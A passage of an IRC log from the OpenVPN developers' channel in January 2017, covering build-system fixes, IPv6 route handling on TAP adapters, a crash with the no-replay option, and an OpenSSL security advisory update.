this evaluated"... but as line 964 of configure has 10:02 <@cron2> libdir='${exec_prefix}/lib' 10:02 <@cron2> I fail to see where "NONE" in line 5400 would come from 10:03 <@cron2> well 10:03 <@cron2> NONE/lib/openvpn/plugins, I could see... 10:03 <@cron2> exec_prefix=NONE 10:04 <@cron2> awwww 10:05 <@cron2> # Installation directory options. 10:05 <@cron2> # These are left unexpanded so users can "make install exec_prefix=/foo" 10:05 <@cron2> # and all the variables that are supposed to be based on exec_prefix 10:05 <@cron2> # by default will actually change. 10:06 <@cron2> but where does the real exec_prefix come from... 10:06 <@cron2> # Let make expand exec_prefix. 10:06 <@cron2> test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' 10:07 <@cron2> so the eval would need to come after *that* line (17938) 10:08 < eworm> I think that line is generated by AC_OUTPUT 10:08 <@cron2> or the setting of plugindir= would need to duplicate that check (and reset exec_prefix afterwards) 10:08 < eworm> Which is the last one 10:09 <@cron2> yeah, looks like it 10:13 <@cron2> well... we need to do something or other, and I'm not the authority on "how to make configure smell less funny" - taking away the job from configure means "we get to do all the work it does on its own", but if the alternative is "20 lines of ugliness in configure.ac", not sure which is the least annoying way to fix this 10:13 <@cron2> maybe dazo has a good suggestion, or knows an autoconf trick to make this work 10:23 < eworm> if configure is run without --prefix even that is "NONE" 10:23 < eworm> *sigh* 10:23 * eworm hats build systemd 10:24 < eworm> s/systemd/systems/ 10:26 < eworm> well, that most simple solution is to add extra define to AM_CFLAGS in src/openvpn/Makefile.am 10:29 <@cron2> well, prefix defaults to $ac_default_prefix... 10:30 <@cron2> but that's also in the AC_OUTPUT block 10:54 < eworm> https://github.com/eworm-de/openvpn/commit/cbb32002eed302b0774c027abbdea4b4d4b7b585.patch 10:54 < eworm> need to test on BSD 11:00 < eworm> looks good 11:02 <@cron2> indeed 11:02 <@cron2> (the old patch had the advantage of telling the plugins where "the default plugin dir" is, so dazo might object) 11:09 < eworm> do you want any patches to be posted on the mailing list? 11:09 < eworm> well, my github repository is available and dazo should have the links in his backlog 11:16 <@vpnHelper> RSS Update - tickets: #831: Crash on second client connection <https://community.openvpn.net/openvpn/ticket/831> --- Day changed Fri Jan 27 2017 02:39 <@dazo> cron2: eworm: I've caught up on your Makefile GNUism discussion ... the latest approach from eworm, https://github.com/eworm-de/openvpn/commit/cbb32002eed302b0774c027abbdea4b4d4b7b585.patch , is a fair compromise currently 02:39 <@dazo> I'd like to have the plugin dir in the openvpn-plugin.h, but that's more "nice to have" than "need to have" 02:40 <@dazo> eworm: I'd probably reword the commit message slightly ... "broke out-of-tree builds" -> "broke BSD and other OSes not using GNU Make" 02:41 * dazo is at devconf.cz this weekend 02:41 <@dazo> ... so I'll be on-off through out most of these days ... I'll check mail and irc randomly 02:47 < eworm> dazo: I think out-of-tree builds are broken on linux as well... 03:32 <@cron2> dazo: if you're ok with it, so am I :-) 03:33 < eworm> I sent the patch to mailing list, feel free to leave your ACK there. 03:40 <@dazo> cron2: if you can do the final test and ACK, I can apply the patch in between (unless you have spare cycles for that too) ... 03:41 <@dazo> and I'm going to send you my ssh key + IP as well ... so I can run some FreeBSD tests as well 03:41 <@dazo> (for later patches) 03:47 <@cron2> whee... "this tree was not touched in a while" :-) 03:47 <@cron2> * master 27939c0c [origin/master: ahead 1, behind 158] Fix --multihome for IPv6 on 64bit BSD systems. 03:47 <@dazo> heh :) 03:48 <@cron2> I usually visit the /home/gert/ area of my buildslaves when I need to develop or test on that particular platform... and since that multihome fix, I didn't have to :) 04:04 <@cron2> OpenVPN 2.PRODUCT_VERSION_MINORPRODUCT_VERSION_PATCH [git:master/1a00667360817bb8+] i386-pc-solaris2.11 [SSL (OpenSSL)] [LZO] [LZ4] [MH/PKTINFO] built on Jan 27 2017 04:04 <@cron2> *sigh* 04:05 <@cron2> (but that's not a new issue, more a "Solaris stinks" thing that nobody felt like fixing yet) 07:09 <@dazo> meh ... mail-archive.com is lagging :/ 07:09 * dazo waits for a push until a proper URL is returned 07:16 <@cron2> interestingly enough, the web view is usually very quick - which is what I did in cases where I wanted something done right now 07:16 <@cron2> but it needs manual --amend and stuff, which is more annoying than should be needed 07:21 <@dazo> yeah 07:22 <@dazo> btw ... I agree we should show PLUGIN_LIBDIR .... but I think we should move the build details out of --version ... and into --build-info ... or something similar 07:23 <@cron2> sounds reasonable 07:23 <@dazo> and we can consider to reformat the list of configure options to a more readable/grep-able list :) 07:24 <@dazo> I found another corner case with the plug-in loading ... not a fault of this patch ... but relative paths including subdirs are picking the wrong if() branch 07:25 <@cron2> why? is absolute_pathname() not checking for an initial '/' but for "'/' anywhere in string"? 07:25 <@cron2> checking... and it seems to do the right hting? 07:25 <@dazo> if you use ./different/path ... you'll get /usr/lib/openvpn/./different/path 07:26 <@cron2> which is correct? 07:26 <@cron2> this is not an absolute path name, so the PLUGIN_LIBDIR is prepended 07:26 <@dazo> I'd say different/path/plugin.so ... should load /usr/lib/openvpn/different/path/plugin.so 07:27 <@dazo> but ./different/path/plugin.so should load $cwd/different/path/plugin.so 07:27 <@cron2> no 07:27 <@cron2> well 07:27 <@cron2> maybe 07:27 <@cron2> one could argue either way, but then you need to special-case the "./" part to mean "this is considered the same as an absolute path name" 07:28 <@cron2> or one could argue that "--plugin some/where/here/my.so" shouldn't look in "PLUGIN_LIBDIR" either 07:28 <@dazo> very true 07:29 <@cron2> whatever we go with, we need to make sure it is clearly documented 07:29 <@dazo> absolutely! 07:39 * slypknot +1 grep-able --build-info 08:32 <@dazo> okay ... sent a patch to the ML now ... slightly changing (and documenting!) the behaviour .... basically when a path starts with '.' 09:01 <@vpnHelper> RSS Update - gitrepo: plugin: Remove GNUism in openvpn-plugin.h generation <https://github.com/OpenVPN/openvpn/commit/631812fe29c69d0034628ab8321cb4016cb4fc2d> 14:04 < slypknot> cron2: tincan-debiab8 --mbedtls is fixed 15:25 < slypknot> Here is an interesting forum post, it involves --server-bridge net+mask +IPv6 in DJCP proxy mode .. update 2.3.x -> 2.4 appears to have broken this guys setup, i post for your info: https://forums.openvpn.net/viewtopic.php?f=4&t=22991 15:25 <@vpnHelper> Title: v2.4 IPv4/IPv6 not working correctly - OpenVPN Support Forum (at forums.openvpn.net) 16:26 <@dazo> I think cron2 is the best one to reply to that one ... but I am slightly annoyed by the word "correctly" in the subject .... "as expected" would probably be more correct 17:12 < slypknot> hi dazo .. i was just posting it because it may indicate some code to yous guys 17:15 < slypknot> correctly edited to as expected (why not) ;) 20:11 < slypknot> da fu: 20:12 < slypknot> *And* towards the end of the 2.4.0 release cycle, it was a deliberate 20:12 < slypknot> choice to not bring in any code changes unless absolutely needed. 20:14 < slypknot> --ncp-* & --tls-crypt 20:15 < slypknot> "code change" AND "toward the end of" 20:16 * slypknot 's cage just got rattled 20:17 < slypknot> define "toward the end of" 20:19 < slypknot> I get the point of the thread .. but c'mon .. you giys were rockin and pumped the bastard full of steroids to be sure ! 20:22 * slypknot hopes to not get another ban from dazo 21:14 < ordex> :D --- Day changed Sat Jan 28 2017 03:23 <@cron2> slypknot: well, we agreed on a feature set for 2.4, and both NCP and tls-crypt were part of that. Not agreed-upon-before features had to be postponed, otherwise we would not have made the debian deadline... 03:25 <@cron2> wrt to the forum post - I don't read the forums, but I do read -devel and -users. I'm not aware of any code changes that would affect --server-bridge (= tap mode), as nobody touched that in a long while - but it might have been a side effect of other changes, or it's due to "it was never defined to work that way, but happened to" stuff... 03:38 <@dazo> slypknot: "define "toward the end of"" .... that is basically the RC releases ... but as an exercise: 03:38 <@dazo> git shortlog v2.4_alpha1..v2.4_beta1 03:38 <@dazo> git shortlog v2.4_beta1..v2.4_rc1 03:38 <@dazo> git shortlog v2.4_rc1..v2.4_rc2 03:38 <@dazo> git shortlog v2.4_rc2..v2.4.0 03:39 <@dazo> NCP was already added in alpha1 ... --tls-crypt was included in beta1 03:44 <@dazo> and just for the record ... the changes which happened since v2.3 was branched out (into release/2.3) to what hit v2.4_alpha1 .... git shortlog v2.3_beta1..v2.4_alpha1 04:14 -!- FederationOfNULL is now known as [0xAA] 04:49 < slypknot> Re: the forum post - it /appears/ that openvpn does not recognise the TAP adapter has an v6 address if it is dhcp'd (or whatever its called in v6) .. the error message is "add_route_ipv6(): not adding 2021:248::/32: no IPv6 address been configured on interface Ethernet" ovb it does have an address .. so it does look like openvpn is doing something wrong 04:49 < slypknot> cron2: in this case it urge you to read the post please 04:50 < slypknot> i may be completely wtong but .. it is still worth a gander 04:50 < slypknot> wrong* 04:53 < slypknot> re: "Toward the end of" .. the debian deadline forced you guys to go dev mad "toward the end of" .. and 2.4 was in dev for years .. so I simply disagree with your point dazo 04:56 < slypknot> suffice it to say: You did what ever you wanted/needed to get 2.4 out the door with all the bells and whistles possible *and* to make the debian deadline 04:56 < slypknot> Respect to that ! .. but it certainly was not a calm controlled release 04:56 <@dazo> That is a moot point, tbh ... we agreed on a schedule, yes to reach the deb deadline ... and we added things on the "must have" list which was planned long before that schedule 04:56 <@dazo> https://community.openvpn.net/openvpn/wiki/StatusOfOpenvpn24 04:56 <@vpnHelper> Title: StatusOfOpenvpn24 – OpenVPN Community (at community.openvpn.net) 04:56 <@dazo> and we reached all the major goals before beta1 04:57 <@dazo> after beta1 we focused on bugfixes ... and the longer into the rc, we got stricter and stricter to what we applied 04:58 <@dazo> and if you look at the shortlogs ... you'll see that both the amount of commits go down *and* what it goes more and more docs into and not code changes 04:58 < slypknot> the time line "alpha 1" to 2.4.0 release was wjat .. two weeks ? incuding A1/B1/RC_1/2.4.0 04:58 <@dazo> before the schedule ... we didn't have any deadline ... but debian did provide us with a good goal for a deadline 04:58 <@dazo> so what? 04:59 <@cron2> alpha 1 to 2.4.0 release was 6 weeks 04:59 <@dazo> why is that important how long these cycles lasted? 04:59 <@cron2> that's all on our 2.4 release page in the wiki :) 04:59 <@dazo> November 16 - 2.4_beta1 04:59 <@cron2> (or 4 weeks, or so - one week for alpha 1, alpha 2, beta 1, rc 1, release) 04:59 <@dazo> December 28th - 2.4.0 04:59 < slypknot> it felt extremely rushed to me .. I am not complaining .. infact I was gob smacked that so many people pulled to gether to achieve your goals .. but it was not calm 05:00 <@cron2> but besides that - if there is anything we can agree on, then it's that our release cycle is both "too long" and "too rushed". So what... 05:00 <@dazo> and we did slightly move these dates a few dates, but it is fairly within the frame of that time window 05:00 < slypknot> when i read dazo's email to ilya .. i felt he was not being honest 05:01 <@cron2> "importance of patches" and "this is a bug fix / new feature" is sometimes highly subjective 05:02 < slypknot> i am not complaining .. please don't misunderstand .. that's why i did not reply to the email 05:02 <@cron2> dazo, syzzer and I don't even agree on the classification all the times... 05:03 < slypknot> i have aired my point of view .. that's all i wanted to do 05:03 < slypknot> thanks for the feedback ;) 05:04 < slypknot> but i would like to to take a quick look at that forum post .. ? 05:04 < slypknot> you cron2 05:05 <@dazo> *sigh* this university network stink .... 2114 packets transmitted, 1700 received, 19% packet loss, 05:06 <@cron2> slypknot: I'm about to leave, so, not really. I might look tonight, but generally speaking, I already monitor -users, -devel and trac, and have never liked web forums 05:08 < slypknot> cron2: I'll remind you about this particular one later on ;) 05:09 < slypknot> or maybe i'll forward it to -users 05:09 <@cron2> thanks 05:10 <@cron2> (and see you tonight :) - family time now) 05:12 < slypknot> have fun & enjoy :) (I will try to reproduce that problem myself and see what i get) 05:59 < slypknot> I can't reproduce as I have no v6 router but I will try to get some more details in the forum thread, please take a look sometime because it is written well and no point duplicating : https://forums.openvpn.net/viewtopic.php?f=4&t=22991 05:59 <@vpnHelper> Title: v2.4 IPv4/IPv6 not working as expected - OpenVPN Support Forum (at forums.openvpn.net) 09:48 * ordex is celebrating new year again :D 12:00 < slypknot> UPDATE to that thread: adding ifconfig-ipv6 add/bits resolves the problem .. but it looks like openvpn does not recognise that the TAP has got an ipv6 via RA's over tap bridge vpn 12:05 <@cron2> in tap mode, openvpn has no idea about ip or ipv6 addresses left or right - it will ifconfig them, if told, but for "what goes left, what goes right", only ethernet packets are looked at 12:07 < slypknot> dhi cron2 , did you take a look at the thread .. are you happy that it is expected behaviour for v6, it would not behave that way for v4 ? 12:08 < slypknot> hi* 12:09 < slypknot> i presume it is something to do with openvpn uses dhcp for v4 but not the same for v6 so it does not realise the TAP has a v6 if it was not assigned by openvpn 12:10 < slypknot> also, the OP has not given full details of what they actually added yet .. 12:14 <@cron2> slypknot: openvpn does not *care* what address the tap adapter has in *bridging tap* mode 12:14 <@cron2> it is only interested in ethernet packets 12:14 <@cron2> you can run OSPF over a bridged tap link, learning dynamic routes and everything, *because* openvpn is not interested in IP(v6) addresses in tap mode 12:14 <@cron2> so the description so far does not make sense - but as I said, I'm not reading forums 12:17 < slypknot> FYI: the failure was on the client side .. openvpn did not recognise the TAP adapter recieved a v6 add at all 12:17 < slypknot> but 2.3.x worked ok 12:17 < slypknot> apparently 12:18 < slypknot> the only reason I have bought this to your attention is because it looks like something has changed with v6 in 2.4 12:19 < slypknot> for general user errors i can handle 99% .. but this one feels different 12:21 < slypknot> one other question: the OS can learn all it needs with ipv6 without openvpn doing anything in tap mode ? 12:23 < ordex> slypknot: in tap mode the interface is exactly like your standard eth0 - the OS or whatever running on top won't notice any difference because openvpn only forwards the ethrnet frames without doing anything else. I think this is what cron2 was referring to earlier 12:26 < slypknot> ordex: thanks .. i guess this is where my knowledge gets a bit too thin to understand properly 12:26 <@cron2> slypknot: on the risk of sounding repetitive: why should openvpn recognize whether the tap adapter has a v6 address or not? 12:26 <@cron2> it will not display it on the management interface - that much is true :-) - but regarding "will the v6 packets be forwarded" openvpn really isn't caring 12:27 < slypknot> cron2: I don't know .. if you read the thread you would know what the situation is .. I do not expect any help or an answer on the thread .. I just bought it to your attention should it be of interest to you .. if it is not then forhey about it 12:27 < ordex> btw I see the code change that changed this behaviour. I think it used to work before "by accident" 12:28 < slypknot> ordex: that was what i was thinking "worked before by accident" .. 12:29 < ordex> now the logic is more meticolous and prevents from adding IPv6 routes is not IPv6 was staticanlly configured in the config 12:29 < ordex> and it makes sense 12:29 < slypknot> cron2: forget* about it 12:29 < ordex> slypknot: if the addres is coming from radvd, why not injecting the route through it as well? doesn't it work like that ? 12:29 < ordex> in this case it is not openvpn's role to set that route up 12:29 < ordex> or 12:29 < ordex> the guy can do that in an up.sh script (?) 12:30 < slypknot> the route being added is a partial --redirect-gateway v5 type thing .. so not specific to the adapter subnet 12:31 < slypknot> v6* 12:31 < ordex> well, that works when openvpn is configured in a way that it knows all the IPs being used 12:31 < ordex> in this case openvpn is not instructed to take care of it 12:33 < slypknot> I learned something today ;) 12:33 < ordex> :D 12:33 < ordex> that happens to everybody everyday :P 12:37 < slypknot> not everybody or everyday 12:42 < ordex> :) 12:45 < slypknot> ordex: as you understand the code .. for that particular thread, openvpn literally does not know the TAP adapter has a v6 address and so throws the error it throws ? 12:46 <@cron2> ordex: oh, thanks for looking this up. Which commit was that? 12:46 < ordex> cron2: 86e2fa5597fd1ad8e0102f134c63d6bc8cb7c291 12:46 < ordex> slypknot: openvpn does not know about IPv6, therefore it accepts to work with the ipv6 route only if it knows that it was itself to assign an ipv6 (i.e. via ifconfig) 12:47 < ordex> (did I make it too complicated? :D) 12:47 <@cron2> ordex: ah, thanks. Indeed, that makes sense - we used to check "tun_ipv6" as a flag for "does it have v6?" and since that flag is gone... 12:47 < ordex> right 12:47 < ordex> now we check if we have "configured" it 12:47 < ordex> so the behaviour is changed a little bit 12:47 < ordex> but the current logic makes sense, because openvpn does knot know anything, except for what it configured by itself 12:47 < slypknot> ahh .. now i see :) -- not pushing tun-ipv6 etc 12:48 <@cron2> the combination "we did not set up ifconfig, but we're tasked to set up routing" was never a really supported feature, more like "a forgotten check" 12:48 < ordex> tun-ipv6 does not exist anymore :P 12:48 < ordex> cron2: guessed so, this is why I said that it probably "worked by accident" 12:48 < ordex> couldn't imagine it was wanted:D 12:49 < slypknot> TYVM for your input :) 12:49 < ordex> np 12:49 < slypknot> and cron2 too 12:50 <@cron2> hrmph, I can see cases where this actually makes sense 12:50 < ordex> argh 12:50 < ordex> like ? 12:51 <@cron2> RA with dynamic addresses (so you don't *know* the address), but sort of "some *other* gateway than the (bridged) default router needs to be target of the route" 12:51 <@cron2> OTOH, an up.sh script receives the name of the tap adapter, so there's nothing which would prevent it from installing the route (except, maybe, lack of permission...) 12:51 < ordex> right, I still see ths as something to be addresses outside of openvpn 12:52 < ordex> *this 12:52 <@cron2> "it can be made work by means of up.sh" = "not devastating brokenness, just puzzling" 12:54 < ordex> OTOH, if you think about that, when an interface comes up it already has its own local ipv6, therefore something is always configured. Thus openvpn may assume that some IPv6 is always there and configure the route anyway 12:54 <@cron2> on a tap adapter, you need a valid next-hop, which (if not fe80) needs to be in the configured subnet to work... 12:55 <@cron2> so, routes with fe80:: next-hops could always work (nowadays), while global addresses need a configured subnet 12:55 <@cron2> we could twist the check slightly... 12:55 < ordex> right 12:57 < ordex> although .. this is a new feature :) supporting routes via fe80:: even when no ip is assigned 12:57 < ordex> eheh 12:57 <@cron2> on a tun device, we really don't care about nexthops - I always install the route towards "tun1" (etc) 12:57 < ordex> what to do with the other router is still an open question (?) but, like you said before, the up script is probaly a better place for them 12:57 <@cron2> so this is only really relevant for tap mode 12:57 < ordex> yap 12:58 <@cron2> maybe we just turn this into a warning - "WARNING: openvpn did not configure an IPv6 address, IPv6 route installation might not work right" 12:58 < ordex> and then we let openvpn try to install the routes ? 12:58 <@cron2> yes 12:59 < ordex> it will still print an error when the command will fail - maybe the warning is not even required 12:59 < ordex> no? 12:59 < ordex> but the reason might not be clear though 12:59 <@cron2> we have the habit of warning users that their choice of option combinations might not do the right thing 12:59 < ordex> oky 12:59 <@cron2> so a warning might be good (so you can see it right away in the log without going hunting for "did it do ifconfig?") 12:59 < ordex> sounds more like a DISCLAIMER than a WARNING ehehehe 12:59 < ordex> yup 13:00 < ordex> sounds good 13:00 <@cron2> well, we call them WARNING elsewhere :) 13:00 < ordex> xD 13:00 < ordex> yeah 13:00 < ordex> just teasing 13:03 < slypknot> don't poke the bear ;) 13:04 <@cron2> slypknot: the original poster could open a trac ticket on this, with the result of ordex' and my discussion here... it's not really a bug, more a "make this a supported feature, which happened to work in 2.3" 13:05 < slypknot> sure 13:05 < slypknot> i'll do it 13:05 < ordex> that would be nice, thanks :) 13:06 < slypknot> np 13:06 < slypknot> and thanks to you both for your tie :) 13:06 < slypknot> time* 13:32 <@vpnHelper> RSS Update - tickets: #832: TAP mode IPv6 address assigned by Router advertisement not recognised by openvpn <https://community.openvpn.net/openvpn/ticket/832> --- Day changed Sun Jan 29 2017 06:09 < ordex> cron2: I think #832 should be renamed - I can also take it if you want 12:20 <@cron2> ordex: go for it :-) (I agree with the renaming) 14:03 <@vpnHelper> RSS Update - gitrepo: Resolve several travis-ci issues <https://github.com/OpenVPN/openvpn/commit/208c03ea145ed89083c43267733487c99a805069> 15:02 <@vpnHelper> RSS Update - tickets: #833: openvpn-gui.exe --help shows a truncated help message <https://community.openvpn.net/openvpn/ticket/833> 18:20 < slypknot> ordex: cron2: change it however you choose 20:25 < slypknot> Polytics : Poly = Many .. Tics = Blood Sucking Fucking Parasites /George Smoot/ 20:31 < ordex> lol 20:31 < ordex> good morning :) 20:48 < slypknot> mornin :) ordex 20:52 < slypknot> this may be an intellectualism: https://upload.wikimedia.org/wikipedia/commons/1/1b/Linux_Distribution_Timeline.svg 20:52 <@vpnHelper> Title: Linux Distribution Timeline (at upload.wikimedia.org) 21:00 < slypknot> Dit is echt gekkenwerk 21:00 < slypknot> ^^ --- Day changed Mon Jan 30 2017 01:06 < ordex> cron2: looks like I have no power to modify any ticket other than adding comments :) 01:14 < slypknot> ordex: shit happens 01:16 < ordex> :D 02:03 <@cron2> ordex: this needs to be changed! 02:04 <@cron2> mattock, dazo: can you give ordex more access? 02:04 < ordex> lol more responsibility for me :D 02:59 <@mattock> ordex: you're now in the developer group in Trac, so you have more access 03:00 < ordex> mattock: thank you ! 03:05 <@cron2> mattock: thanks 03:06 * cron2 finds it tremendously useful if people who are willing to help with trac tickets actually can do so ;-) 03:14 < ordex> :) 03:15 <@vpnHelper> RSS Update - tickets: #832: attempt to add IPv6 route even when no IPv6 address was configured <https://community.openvpn.net/openvpn/ticket/832> 03:23 < ordex> cron2: this would be the simplest patch to implement what we said: http://bpaste.net/show/57f90b748e7f - however, I am not sure what other route other than those using fe80::xx as GW can be installed. Probably none, but this is up to the user to understans what he is doing (?) 03:25 <@cron2> can't check right now - can you just attach to the ticket? need to leave *now* (as in "45 minutes ago") to get some paid-for work done... 03:26 < ordex> sure no problem :) 05:40 < ordex> does it make sense to use <connection></connection> on a server? why somebody would want that? 05:41 <@cron2> if I say now "I couldn 05:41 <@cron2> if I say now "I couldn't see a reason to do so", 5 minutes later someone on the forums has a desperate need... 05:41 < ordex> :D 05:42 < ordex> seems related to Murphy's corollary 05:52 <@vpnHelper> RSS Update - tickets: #834: remote-random-hostname changes http-proxy url <https://community.openvpn.net/openvpn/ticket/834> 05:56 < ordex> d12fk: what other options would you expect in a <listen> block other than "local" and "remote" ? 05:57 < ordex> obviously also "proto" is wanted 05:58 < ordex> and "port" 06:11 <@d12fk> whats a listen block? 06:12 <@d12fk> is that something the patch introduces? 06:12 <@d12fk> proto and port should be part of the local option really 06:22 <@plaisthos> also the socket related operations 06:23 <@plaisthos> socketflags, rcvbuf, sndbuf 06:39 < ordex> d12fk: yes, it is introduced bythe patch 06:39 < ordex> d12fk: "local" does not support port and proto as of now, therefore I was wondering if it makes sense to keep it like that and expect the user to specify "port" and "proto" on their own 06:39 < ordex> plaisthos: ? 07:44 <@plaisthos> ordex: You asked what option you expect to be supported for multiple socks and I replied 07:46 < ordex> oh thanks 07:46 < ordex> though my question was on the "config option" level 07:46 < ordex> but your info is useful too :) I had that in the pipe of things to clarify too 07:47 <@plaisthos> that was config level :) 07:47 <@plaisthos> basically look through everything that is currently supported in a connection block and decided if it is useful or not for a <listen> block 07:48 < ordex> yeah, that is what I am doing actually 07:49 < ordex> in the current patch every option is also "allowed" (maybe not used) by the listen block; but I am trying to make it mh .. .cleaner by having only what is needed 07:49 < ordex> it's more for me to be able to easily understand the whole thing 07:52 <@ecrist> any of you guys see this one before: 07:52 <@ecrist> Mon Jan 30 07:39:16 2017 us=113384 Assertion failed at crypto.c:81 (packet_id_initialized(&opt->packet_id)) 07:52 <@ecrist> Mon Jan 30 07:39:16 2017 us=113393 Exiting due to fatal error 07:56 <@syzzer> ecrist: nope, but I'm interested in more context 08:04 <@ecrist> syzzer: 2.4.0 from FreeBSD package repo, two systems connecting across a local LAN 08:04 <@ecrist> using the config files provided by T1w in the main channel: https://paste.sh/UgJDEDVG#u9Dnx5lXCZsBfSuHRY6QJV7a 08:05 <@ecrist> all I do is install, configure. The server starts up, listens on port 10001, and the error occurs on the client, when it tries to connect. 08:06 <@ecrist> T1w is setting some crazy MTU (48000) 08:06 <@ecrist> he claims to see wire-speed between two systems and I was trying it out 08:06 <@ecrist> he's running 2.3.14 08:11 <@plaisthos> ecrist: tcp or udp? 08:11 <@ecrist> udp 08:12 <@ecrist> should I create a trac ticket? 08:16 * ecrist does so 08:16 < ordex> :) 08:16 < ordex> at least it won't be forgotten 08:16 <@ecrist> that's what I was thinking 08:18 < ordex> and it doesn't hurt :) generally 08:18 < ordex> eheh 08:39 <@plaisthos> might be that fragmentation/defragmentation of the overly large udp packets is more efficient than the context switches 08:39 <@plaisthos> probably already done by the nic 08:41 <@vpnHelper> RSS Update - tickets: #835: OpenVPN exits on fatal error with large tun-mtu <https://community.openvpn.net/openvpn/ticket/835> 08:42 < ordex> ecrist: have you tried with <2.4.0 on your system to see if it could be reproduced there ? 08:45 <@ecrist> no 08:49 <@syzzer> ecrist: the most funky part in this config is 'no-replay' -- which I was hoping nobody would ever use... 08:49 <@syzzer> still, 2.4 is not supposed to crash on it 08:50 <@ecrist> syzzer: his claim is that it "fixes" something with NIC teaming - didn't inquire further details 08:51 <@syzzer> ah, but wait! does this only fail when using 2.4<>2.4 ? 08:51 <@ecrist> no idea 08:51 <@ecrist> I'm willing to try other combinations, but I can't spend more time on it during the work day at this point. 08:52 <@syzzer> could be that we're doing NCP, upgrading to AEAD (GCM) mode, and then when actually processing packets, the fail-safe in the crypto code refuses the disabled packet-id 08:52 <@syzzer> ecrist: sure - same here actually :) 08:52 <@syzzer> need to produce docs for $customer... 08:53 <@ecrist> I could try disabling -no-replay quick, though 09:15 < ordex> is it expected that --remote-random-hostname randomizes also the socks and the http proxy hostname ? my understanding (and give the word *remote*) in option name is that it would only randomize the remote hostname 09:19 < ordex> mh right now the randomization is performed only on the host that openvpn connects to, which could be the remote or the http-proxy or the socks server .. and the remote is randomized only in the first two cases. I think I don't what is the expected behaviour :P 09:28 < ordex> mh ,I see another bug in the meanwhile O_o 09:29 <@ecrist> syzzer: removing the --no-replay fixes my issue. 09:30 <@ecrist> following that user's instructions, I get exactly no useful traffic across that tunnel with crazy MTU using iperf 09:30 <@ecrist> ping works, though. 09:30 < ordex> sounds really like fragmentation is killing everything (?) 09:39 <@ecrist> I wouldn't expect an MTU of 48k to work 09:40 < ordex> is it even a real use case ? 09:40 < ordex> I guess not if the underlying interface has a mere 1500 bytes as mtu :D 09:41 < ordex> anyway, I was just curious :) 09:59 <@plaisthos> ecrist: why not? 09:59 <@plaisthos> you do a send() call with ~50k 10:00 <@plaisthos> then the os send ~30 fragmented udp packets and the side reassembles them 10:00 <@plaisthos> actually the same is happening for normal mtus 10:01 <@plaisthos> mssfix is being undone by my nic in my setup 10:06 <@plaisthos> syzzer: what is the right fix, I would say disable NCP when no-replay is active 10:13 <@syzzer> plaisthos: purge no-replay, of course ;) 10:13 <@syzzer> and increase --replay-window if needed 10:17 <@plaisthos> :) 10:34 * cron2 things "explode in people's faces if they use bad options" is a realistic answer, if a bit on the insane side 10:34 <@cron2> thinks 10:35 <@cron2> but we should document this as "undefined behaviour will occur" and randomly delete their hard disk 10:35 <@cron2> fully covered by documentation 10:37 < ordex> :D 10:38 <@syzzer> sounds reasonable enough to me 10:38 <@syzzer> though I think I'll go for 'refuse to start when both NCP and no-replay are active' 10:38 <@syzzer> make people consiously disable ncp, instead of doing it automatically 10:39 <@syzzer> "shoot yourself in the foot if you really want to, but I won't align the gun." 10:56 <@plaisthos> syzzer: good idea 10:56 <@plaisthos> but forces manual interventation for all people with no-replay in their config 10:57 <@syzzer> Yes. *gna gna gna* >:) 11:16 < ordex> :q 11:16 < ordex> ops wrong window :D 12:20 <@cron2> plaisthos: if you have a minute, I'd be interested in your thoughts regarding #832 14:47 <@dazo> cron2: your freebsd box ... does it tackle ecdsa pubkeys? 14:48 * dazo ponders which key to send :) 14:49 <@dazo> [OT] ... I can't decide if this is a weird phising attempt, spam or an honest request: "How to download openvpn profile server plzz send me a vedio clip" (got it directly to my @ovpn.net mail account) 14:49 <@dazo> (that's all which is in the mail too, btw) 15:24 <@cron2> dazo: ecdsa should be fine 21:25 < ordex> cron2: send him a Christmas video clip :P --- Day changed Tue Jan 31 2017 00:32 < ordex> cron2: about #832, I thought about warning on TAP devices only, because in case of TUN the route will still be properly installed - whether it will be used or not depends on the user configuring any address later, but openvpn will still do exactly what it was instructed, no ? 00:33 < ordex> but yeah, warning is definitely fine i think .. the user might just be doing non-sense 01:24 <@mattock> syzzer: do any of these affect us: https://www.openssl.org/news/secadv/20170126.txt 01:27 <@cron2> ordex: well, you can install the route, but if you have no local IPv6 address, the risk that it will still "not work in interesting ways" stays... 01:27 <@cron2> (like, sending packets to targets elsewhere from a non-routeable fe80:: address "because you have nothing else") 01:51 <@mattock> I've build new 2.4.0 installers with new openssl and new openvpn gui, but those will require smoketesting 01:51 <@mattock> release later today 02:55 <@syzzer> mattock: yeah, CVE-2017-3731, CVE-2017-3732 and CVE-2016-7055 apply 02:55 <@syzzer> I think those warrant an OpenSSL upgrade 03:04 < eworm> Do we have a schedule for release 2.4.1? 03:09 <@cron2> no well-defined schedule - "some time in february" is the last thing that was said 03:18 <@syzzer> ah, could be tomorrow? :+ 03:22 <@cron2> I don't truly think so :) 03:36 < ordex> cron2: yup 03:40 < eworm> so chances are I see a birthday release :D 03:45 <@cron2> when is that? 03:48 < eworm> is it dishonest influence if I tell you? 03:57 < ordex> about #834: does anybody have a clear idea about the expected behaviour of remote-random-hostname when a htto-proxy or socks is specified ? 04:04 <@cron2> no 04:05 <@cron2> ordex: so pick an interpretation that makes sense, and document it in the man page :-) 04:05 < ordex> :D 04:06 < ordex> I could take what the code does now: it randomizes the host openvpn tries to establish a tcp/udp connection to (not necessarily the VPN server) 04:12 < ordex> let's see what the guy says 04:17 <@cron2> this is one of the most obscure features we have, I think... and it was buggy to start with (= not confirming to documentation) 04:17 <@cron2> s/confirming/according/ 04:22 < ordex> well, the doc is really .. "minimal" 04:22 < ordex> that's why I dived intothe code yesterday..but the conclusion was: "is this really what the author wanted?" :D but apparently it was implemented like this since the beginning 04:24 <@cron2> this looks like "it was needed in a particular weird environment" and "nobody ever considered how it would interact with proxy" 04:24 <@cron2> or "... *should* interact" 04:26 < ordex> likely 04:29 < ordex> if the guy replies to the ticket, I will ask what is his real usecase..what he is going to achieve with that 04:34 <@cron2> lol 04:34 <@cron2> - "no IPv6 address been configured on interface %s", 04:34 <@cron2> that wasn't even correct grammar 04:35 <@cron2> I think the patch is close to good, but please wrap the long message as done elsewhere (just closing and re-opening the "" string at ~75-odd line length) 04:40 < ordex> mhhh ok 04:41 < ordex> usually I avoid that, because if somebody tries to grep for that message, then he won't get any match because of the wrap up 04:41 < ordex> but if wrapping is usually preferred, I'll do that ;) 04:48 <@cron2> I can see benefits both ways, but this is something syzzer feels strongly about, so our style guide calls for wrapping :) 04:49 < ordex> :D 04:49 < ordex> ok 04:49 < ordex> I will send the patch directly to the ml at this point, so we may (or 